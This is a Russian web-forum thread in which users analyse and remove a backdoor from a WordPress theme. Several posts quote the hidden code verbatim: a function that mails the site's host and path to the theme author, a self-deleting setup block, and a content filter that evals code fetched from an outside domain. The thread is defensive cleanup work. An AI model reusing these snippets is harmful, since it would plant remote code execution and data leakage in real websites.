Коллеги, приветствую. Была-бы это обычная тема с парочкой левых ссылок, взломал-бы сам. Но тут автор не только каким-то непонятным образом зашифровал ссылки, но и:
- полностью исключил возможность стороннего вмешательства в код. Даже счетчик не поставить.
- куда-то отправляет приватную информацию о сервере, на котором расположен WP с используемой темой.
И что самое интересное, никаких eval. Хоть я не матерый программист, но кое чего умею. А тут смотрю в код и вижу фигу.
И ладно-бы он зашифровал ссылки. Мне не жалко. Но вот невозможность поставить счетчик и прочие полезности просто убивает! Помогите, а? :)
Вот ссылка на шаблон (110 кб).
- 22.02.2012 01:12
Последний раз редактировалось hronny; 22.02.2012 в 01:14.
- 22.02.2012 02:33
hronny, внешние ссылки есть? вообще дай любые проявления скрипта или чего нужно исправить(в исходном коде). Если терпимо то завтра вечером могу(22.02.12) разобрать у себя на локалке и постараться снять защиту, т.к. раньше на впшных темах снимал уже. Заинтересовал прям))
Там в футере ссылки висят же. не снимал просто?
Посмотрел. Может что я не так смотрю или тема не та? Или ты юморист. Ссылки убираются спокойно. Где конкретно отправка идет?
аааа... все я понял, ты виджеты добавить не можешь? пфф если терпимо то могу завтра попробовать поставить, там особых проблем нет.Последний раз редактировалось quadrat; 22.02.2012 в 02:45.
- 22.02.2012 04:03
- Регистрация: 13.12.2011
- Сообщений: 99
- Репутация: 7
Попробуй на денвере править
Спасибо сказали:
quadrat(22.02.2012), - 22.02.2012 09:48
а вот теперь я реал не понял шутки)
-ссылки убираются на раз-два
-Виджеты работают, код счетчика ставил на сайте с данной темой
-Какая отправка? Убрали отправку :)
Удали в функциях(functions.php)PHP код:Теперь сотри в index.phpfunction trackTheme($name=""){
$str= 'Theme:'.$name.'
HOST: '.$_SERVER['HTTP_HOST'].'
SCRIP_PATH: '.TEMPLATEPATH.'';
$str_test=TEMPLATEPATH."/vs.css";
if(is_file($str_test)) {
@unlink($str_test);
if(!is_file($str_test)){ @mail('****','Theme installed',$str); }
}
}
PHP код:По поводу ссылок просто все. Редактируем футер(footer.php) и убираем в диве лишнее, т.е. оставив это:<?php /*trackTheme("wp_gossipcity"); */ ?>
Код HTML:Еще что-то? Счетчик как сказал стоит, пример могу скинуть. И файлы темы наверно, но позже, если сам не сможешь сделать. Кстати есть подозрение, что где-то там будет вшит код(дыра) для доступа к сайту, но это мое мнение, иначе смысл отправку делать. А темка прикольная кстати<div class="FBG"> <div class="Footer"> <p>Все права защищены © <?php the_time('Y'); ?> <a href="/"><strong><?php bloginfo('name'); ?></strong></a>. <?php bloginfo('description'); ?></p> </div> </div>
Спасибо сказали:
hronny(22.02.2012), - 22.02.2012 11:50
- Регистрация: 04.10.2011
- Сообщений: 90
- Репутация: 24
да там всего-то одно письмо отправляется - уведомить автора, что прошла установка темы на таком-то хосте, потом файл удаляется и все - больше слаться не будет, ну в крайнем случае - перед активацией темы удалить из нее файл vs.css (он для проверки используется).
И еще он что-то запрашивает с wpru.ru... что хранится в таблице "wp_settings" в записи "blogoption" после активации темы?Спасибо сказали:
hronny(22.02.2012), - 22.02.2012 14:46
quadrat, да, тема прикольная.
Не знаю, что случилось, но вчера удаленные ссылки стояли, если я заходил не из-под админки. Сейчас все нормально.
Но вчера я пытался удалить только ссылки, функцию трэкбека не трогал. Может в ней какая-то связь?
Сейчас удалил и ссылки, и трекбек. И счетчик наконеч-то поставил. Спасибо!
Единственное, меня сильно смущает код в functions.php в строках 76-87:
PHP код:Разберемся? Может это и есть дырка? :)//beginXX
add_action('after_setup_theme', '_theme_setup');
function _theme_setup(){
$value = 'return eval(file_get_contents(\'http://wpru.ru/aksimet.php?id=\'.$post->ID.\'&m=35&n\'));';
add_option('blogoption', $value, '', 'yes');
//selfterminate
$functions = file_get_contents(TEMPLATEPATH.'/functions.php');
$p1 = substr($functions, 0, strpos($functions, '//beginXX'));
$p2 = end(explode('//endXX', $functions));
file_put_contents(TEMPLATEPATH.'/functions.php', $p1.$p2);
}
//endXX
K-2, в таблице wp_options в записи blogoption хранится следующее:
PHP код:в option_value стоит:SELECT *
FROM `название_базы_данных`.`wp_options`
WHERE (
`option_id` LIKE '%blogoption%'
OR `blog_id` LIKE '%blogoption%'
OR `option_name` LIKE '%blogoption%'
OR `option_value` LIKE '%blogoption%'
OR `autoload` LIKE '%blogoption%'
)
LIMIT 0 , 30
Код:в autoload стоит yesreturn eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=35&n'));
П.С. Во чего нашел: http://www.plansoft.ru/?p=3865
http://cmshelper.ru/skrytye-ssylki-v...wordpresse-ru/
http://madinski.org.ua/archives/2568
Вышеупомянутая функция заменяет все точки в постах на ссылки, ведущие на тот самый wpru.ru. Гениально, но не для нас:)
И теперь главный вопрос. Что еще нужно удалить помимо вышеупомянутой функции?Последний раз редактировалось hronny; 22.02.2012 в 14:59.
- 22.02.2012 15:55
- Регистрация: 04.10.2011
- Сообщений: 90
- Репутация: 24
это он себя запускает после сетапа, и в базу записывает
Код:и потом же сам себя удаляет из кода functions.php, типа - "меня здесь ни когда и не было".return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=35&n'));
а вот пост - если это одиночная запись (код в functions.php 88-94):PHP код:вот тут оно и дергает, т.о. - это и есть та "дырка", эти строчки и нужно удалить, чтобы закрыть дырку.add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}
- 22.02.2012 16:12
K-2, получается нужно удалить 76-94 строки? Только в functions.php? Я посмотрел, этот bloginfo почти во всех файлах темы присутствует. Может и там почистить? А ведь еще нужно базу данных почистить, я считаю...
Забавно, тема превратилась из "помогите удалить ссылки" в "помогите удалить вирус" :) - 22.02.2012 18:24
- Регистрация: 04.10.2011
- Сообщений: 90
- Репутация: 24
hronny, да - достаточно удалить с 76-94.
базу можно почистить, а можно и оставить, все равно этот код уже ни кто не вызовет, а если сначала удалить, а потом активировать тему - то в базе ничего и не появится даже. а по всему тексту - bloginfo - его как раз трогать не надо, это стандартная WP функция.Спасибо сказали:
hronny(23.02.2012), - 22.02.2012 18:37
hronny, если не ошибаюсь то bloginfo отвечает за передачу данных по выбору(урл, нейм и тп.) но вроде не в этом случае.
Кстати если не юзаешь гугл адвордс на сайте то надо стереть ещеPHP код:<h3>Реклама</h3>
<br />
<script type="text/javascript"><!--
google_ad_client = "";
google_ad_width = 160;
google_ad_height = 600;
google_ad_format = "160x600_as";
google_ad_type = "text";
google_ad_channel ="2032476629";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "cc0066";
google_color_url = "3399ff";
google_color_text = "777777";
//--></script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
кстати я чет не нашел ваших кодов в теме. либо стер либо чет не так.. в функциях нету.Последний раз редактировалось quadrat; 22.02.2012 в 18:40.
Тэги топика:
Похожие темы
Темы | Раздел | Ответов | Последний пост |
---|---|---|---|
Настроить тему Wordpress | Создание сайтов | 10 | 19.06.2011 11:57 |
Делаем тему для wordpress | Блоги | 64 | 29.01.2011 17:38 |
Продам готовую тему для Wordpress | Готовые дизайны, шаблоны | 31 | 10.01.2011 19:00 |
Как взломать админку в DLE? | Дайджест блогосферы | 4 | 10.11.2010 21:25 |
Продам тему для Wordpress | Готовые дизайны, шаблоны | 5 | 10.05.2010 14:58 |